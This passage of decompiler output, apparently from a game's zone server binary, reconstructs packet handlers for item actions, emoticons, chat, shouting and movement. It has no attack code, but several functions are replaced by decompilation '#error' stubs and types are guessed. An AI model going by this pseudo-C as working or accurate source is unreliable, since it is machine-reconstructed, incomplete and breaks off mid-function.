[bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S22_1 & 1) ) { _S22_1 |= 1u; cmc_24.cmc_AllowMode = 70; atexit(_E23_2); } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8296; if ( (1 << **((_BYTE **)v4 + 929)) & cmc_24.cmc_AllowMode ) { if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Invalid map", 0); *((_WORD *)v5 + 1) = 7209; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) goto LABEL_5; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_10: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); v26 = -1; goto LABEL_35; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v7 = (DiceTaiSai *)(*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 14223))( (char *)v4 + 56892, *(_BYTE *)(netcmd + 2)); v8 = v7; if ( !v7 || (MoveManager::MoveManager(v7), !v9) ) { *((_WORD *)v5 + 1) = 7210; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); } v26 = -1; goto LABEL_35; } MoveManager::MoveManager(v8); v11 = *(_WORD *)(v10 + 8); if ( v11 == -1 ) { *((_WORD *)v5 + 1) = 7210; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } LABEL_30: v26 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v14 = UseEffect::UsedItemEffect::operator__(&useditemeffect, v11); if ( v14 ) { v15 = v14->useeffectstruct; if ( v15 ) { if ( v15->UseEffectA == 9 ) { v16 = v15->UseValueA; goto LABEL_24; } if ( v15->UseEffectB == 9 ) { v16 = v15->UseValueB; goto LABEL_24; } if ( v15->UseEffectC == 9 ) { v16 = v15->UseValueC; LABEL_24: if ( v16 >= 0 ) { *((_WORD *)v5 + 1) = 7208; v5[4] = v16; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v4, &gpp); } *(_WORD *)v5 = 8225; *((_WORD *)v5 + 1) = handle; v5[4] = v16; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v21 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v26) = 1; v22 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v22, v21, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*(_DWORD *)((char *)v4 + 32010) + 80) = v16; *(_WORD *)(*(_DWORD *)((char *)v4 + 32010) + 81) = 0; (*(void (__thiscall **)(void *, signed int, int, _DWORD))(*(_DWORD *)v4 + 2512))(v4, 4, v16, 0); LOBYTE(v26) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_30; } goto LABEL_25; } } } LABEL_25: *((_WORD *)v5 + 1) = 7211; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } goto LABEL_30; } *((_WORD *)v5 + 1) = 7209; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); goto LABEL_10; } LABEL_5: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ : Packet Too Long", 5); v26 = -1; LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ"); } //----- (0043F600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v4 + 2520))(v4, handle, *(_BYTE *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD"); } //----- (0043F6B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID) { void *v3; // esi@1 char *v4; // eax@7 int v5; // ST04_4@7 int v6; // eax@7 char *v7; // [sp+14h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@7 int v9; // [sp+3Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DoEmotion"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S24_8 & 1) ) { _S24_8 |= 1u; cmc_25.cmc_AllowMode = 70; atexit(_E25_8); } if ( (1 << **((_BYTE **)v3 + 929)) & cmc_25.cmc_AllowMode ) { if ( *(_DWORD *)((char *)v3 + 98) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2164))(v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8225; *((_WORD *)v4 + 1) = handle; v4[4] = emoticonID; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v5 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v9) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v6, v5, 0, 0, (int)&alchat, 1, 65535); *(_BYTE *)(*(_DWORD *)((char *)v3 + 32010) + 80) = emoticonID; *(_WORD *)(*(_DWORD *)((char *)v3 + 32010) + 81) = 0; (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 2512))(v3, 4, emoticonID, 0); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; goto LABEL_8; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_DoEmotion : Invalid map", 0); } v7 = "ShineObjectClass::ShinePlayer::sp_DoEmotion"; LABEL_8: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (0043F840) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@7 int v6; // ST04_4@7 int v7; // eax@7 int v8; // eax@7 char *v9; // [sp+8h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@7 int v11; // [sp+30h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; if ( !(_S26_2 & 1) ) { _S26_2 |= 1u; cmc_26.cmc_AllowMode = 70; atexit(_E27_3); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_26.cmc_AllowMode ) { if ( *(_DWORD *)((char *)v4 + 98) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8227; *((_WORD *)v5 + 1) = handle; v5 += 4; *(_WORD *)v5 = *(_WORD *)(netcmd + 2); v5[2] = *(_BYTE *)(netcmd + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v11) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); v8 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v8 = *(_WORD *)(netcmd + 2); *(_BYTE *)(v8 + 2) = *(_BYTE *)(netcmd + 4); LOBYTE(v11) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; goto LABEL_8; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD : Invalid map", 0); } v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD"; LABEL_8: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0043F9C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 signed int v5; // [sp-8h] [bp-30h]@12 int v6; // [sp-4h] [bp-2Ch]@12 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v8; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S28_1 & 1) ) { _S28_1 |= 1u; cmc_27.cmc_AllowMode = 126; atexit(_E29_1); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_27.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ : Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); return; } if ( ShineObjectClass::ShinePlayer::sp_AmpersandCommand((void *)v4, handle, netcmd + 2) || !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 160) ) { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); } else { if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) { v6 = netcmd + 3; v5 = handle; } else { v6 = netcmd + 3; v5 = 65535; } (*(void (__thiscall **)(int, signed int, int, _DWORD, signed int))(*(_DWORD *)v4 + 1308))( v4, v5, v6, *(_BYTE *)(netcmd + 2), 1); CCharacterTitleZone::CT_Chatting((CCharacterTitleZone *)(v4 + 89920)); } v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0043FB60) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Chat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Chat"); } //----- (0043FBB0) -------------------------------------------------------- #error "43FBB0: undefined or illegal type '#325' (funcsize=120)" //----- (0043FD50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 int v5; // eax@4 signed int v6; // [sp-Ch] [bp-2Ch]@12 int v7; // [sp-8h] [bp-28h]@12 int v8; // [sp-4h] [bp-24h]@12 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S30_7 & 1) ) { _S30_7 |= 1u; cmc_28.cmc_AllowMode = 126; atexit(_E31_7); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_28.cmc_AllowMode) ) goto LABEL_6; v5 = *(_DWORD *)(v4 + 98); if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD: Invalid map", 0); LABEL_6: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD"); return; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 161) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) <= shineparam.scp_param.shoutlevel ) goto LABEL_6; if ( clockwatch.cw_CurrTick > *(_DWORD *)(v4 + 92248) ) { *(_DWORD *)(v4 + 92248) = clockwatch.cw_CurrTick + 10 * shineparam.scp_param.shoutdelay; if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) { v8 = netcmd + 3; v7 = (int)byte_5A62A6; v6 = handle; } else { v8 = netcmd + 3; v7 = (int)byte_5A62A6; v6 = 65535; } (*(void (__thiscall **)(int, signed int, int, int, _DWORD))(*(_DWORD *)v4 + 1312))( v4, v6, v7, v8, *(_BYTE *)(netcmd + 2)); CCharacterTitleZone::CT_BroadCast((CCharacterTitleZone *)(v4 + 89920)); } } v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0043FEF0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::smo_Shout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::smo_Shout"); } //----- (0043FF40) -------------------------------------------------------- #error "43FF40: undefined or illegal type '#325' (funcsize=130)" //----- (004400F0) -------------------------------------------------------- #error "4400F0: undefined or illegal type '#434' (funcsize=27)" //----- (00440160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // ecx@3 int v5; // eax@5 v1 = this; v2 = (unsigned __int16)(*(int (**)(void))(*(_DWORD *)this + 1284))(); v3 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1280))(v1); if ( *((_WORD *)v1 + 44954) != v2 || *((_WORD *)v1 + 44953) != v3 ) { *((_WORD *)v1 + 44953) = v3; *((_WORD *)v1 + 44954) = v2; v4 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v1 + 22476); *((_WORD *)v4 + 2) = *((_WORD *)v1 + 44954); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD : Packet Too Long", 6); } } } //----- (00440200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf) { void *v5; // edi@1 int v6; // edx@1 char *v7; // eax@6 int v8; // esi@6 int v9; // eax@6 unsigned __int8 v10; // dl@6 int v11; // ST04_4@6 int v12; // eax@6 char *v13; // [sp+14h] [bp-30h]@3 AxialListPacketBroadcast alchat; // [sp+2Ch] [bp-18h]@6 int v15; // [sp+40h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)((char *)v5 + 98); v15 = 0; if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_3: v15 = -1; v13 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; goto LABEL_9; } if ( *((_BYTE *)v5 + 7094) & 2 || ((*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 2164))(v5), (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 2732))(v5), !MapBlock::MapBlockInformation::mbi_OccupCellCheck( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v5 + 98) + 20), *(_DWORD *)towhere, *(_DWORD *)(towhere + 4), 1)) ) goto LABEL_3; (*(void (__thiscall **)(void *, int, int, signed int, int))(*(_DWORD *)v5 + 1560))(v5, towhere, speed, 3, mvdir); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8297; v8 = (int)(v7 + 2); *((_WORD *)v7 + 1) = *((_WORD *)v5 + 2); v9 = *(_DWORD *)((char *)v5 + 78); *(_DWORD *)(v8 + 2) = *(_DWORD *)v9; *(_DWORD *)(v8 + 6) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 10) = *(_DWORD *)towhere; *(_DWORD *)(v8 + 14) = *(_DWORD *)(towhere + 4); v10 = *(_BYTE *)(v8 + 20); *(_WORD *)(v8 + 18) = speed; *(_WORD *)(v8 + 20) ^= (v10 ^ mvdir != 0) & 1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v11 = *(_DWORD *)((char *)v5 + 78); LOBYTE(v15) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v5, v12, v11, 0, 0, (int)&alchat, 1, 65535); if ( buf ) { *(_DWORD *)buf = *(_DWORD *)v8; *(_DWORD *)(buf + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(buf + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(buf + 12) = *(_DWORD *)(v8 + 12); *(_DWORD *)(buf + 16) = *(_DWORD *)(v8 + 16); *(_WORD *)(buf + 20) = *(_WORD *)(v8 + 20); } LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v15 = -1; v13 = "ShineObjectClass::ShineMobileObject::so_ReinforceMove"; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } //----- (004403D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf) { void *v5; // esi@1 int v6; // edx@1 int v7; // edx@3 int v8; // ecx@3 int v9; // edx@3 int v10; // ecx@3 int v11; // eax@3 PROTO_NC_ACT_SOMEONEMOVEWALK_CMD runcmd; // [sp+10h] [bp-24h]@3 int v13; // [sp+30h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReinforceMove"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)((char *)v5 + 98); v13 = 0; if ( v6 ) { ShineObjectClass::ShineMobileObject::so_ReinforceMove(v5, towhere, speed, mvdir, (int)&runcmd); ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(v5); v7 = *(unsigned int *)((char *)&runcmd.from.x + 2); *((_DWORD *)v5 + 26) = *(_DWORD *)&runcmd; v8 = *(unsigned int *)((char *)&runcmd.from.y + 2); *((_DWORD *)v5 + 27) = v7; v9 = *(unsigned int *)((char *)&runcmd.to.x + 2); *((_DWORD *)v5 + 28) = v8; v10 = *(unsigned int *)((char *)&runcmd.to.y + 2); *((_DWORD *)v5 + 29) = v9; LOWORD(v9) = runcmd.moveattr._bf0; *((_DWORD *)v5 + 30) = v10; *((_WORD *)v5 + 62) = v9; v11 = *(_DWORD *)((char *)v5 + 32010); *((_WORD *)v5 + 51) = 105; v11 += 80; *(_WORD *)v11 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v11 + 2) = byte_124D2542; } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReinforceMove"); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (00440500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_ShootMeTo(void *this, int targetlocate) { void *v2; // esi@1 int v3; // ecx@1 int v4; // edi@3 AbnormalStateDictionary::AbState::AbStateStr *v5; // eax@3 SubAbStateInfo *v6; // ecx@4 AbnormalStateDictionary::AbState::AbStateStr *v7; // eax@7 unsigned int v8; // eax@9 int v9; // eax@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v2 + 98) ) { v4 = 1000; v5 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_BODYFORCE); if ( v5 ) { v6 = v5->subabstate[1].assa_info; if ( v6 ) v4 = v6->KeepTime; (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, int, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 391, 1, v5, clockwatch.cw_CurrTick, 0, -1, v4, 9); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, 391); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, 391, v4, 1); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 992))(v2, 391, v4, 1); } v7 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_CANNOTCONTROL); if ( v7 ) { (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, int, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 350, 1, v7, clockwatch.cw_CurrTick, 0, -1, v4, 9); (*(void (__thiscall **)(void *, signed int, int, signed int))(*(_DWORD *)v2 + 992))(v2, 350, v4, 1); } v8 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)targetlocate - **(_DWORD **)((char *)v2 + 78), *(_DWORD *)(targetlocate + 4) - *(_DWORD *)(*(_DWORD *)((char *)v2 + 78) + 4)); if ( v4 ) v9 = (signed int)(1000 * v8) / v4; else v9 = 100; (*(void (__thiscall **)(void *, int, int, _DWORD, _DWORD))(*(_DWORD *)v2 + 2496))(v2, targetlocate, v9, 0, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShootMeTo"); } } //----- (004406D0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00440740) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 SHINE_XY_TYPE *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 SHINE_XY_TYPE *v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *_Ptr; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) 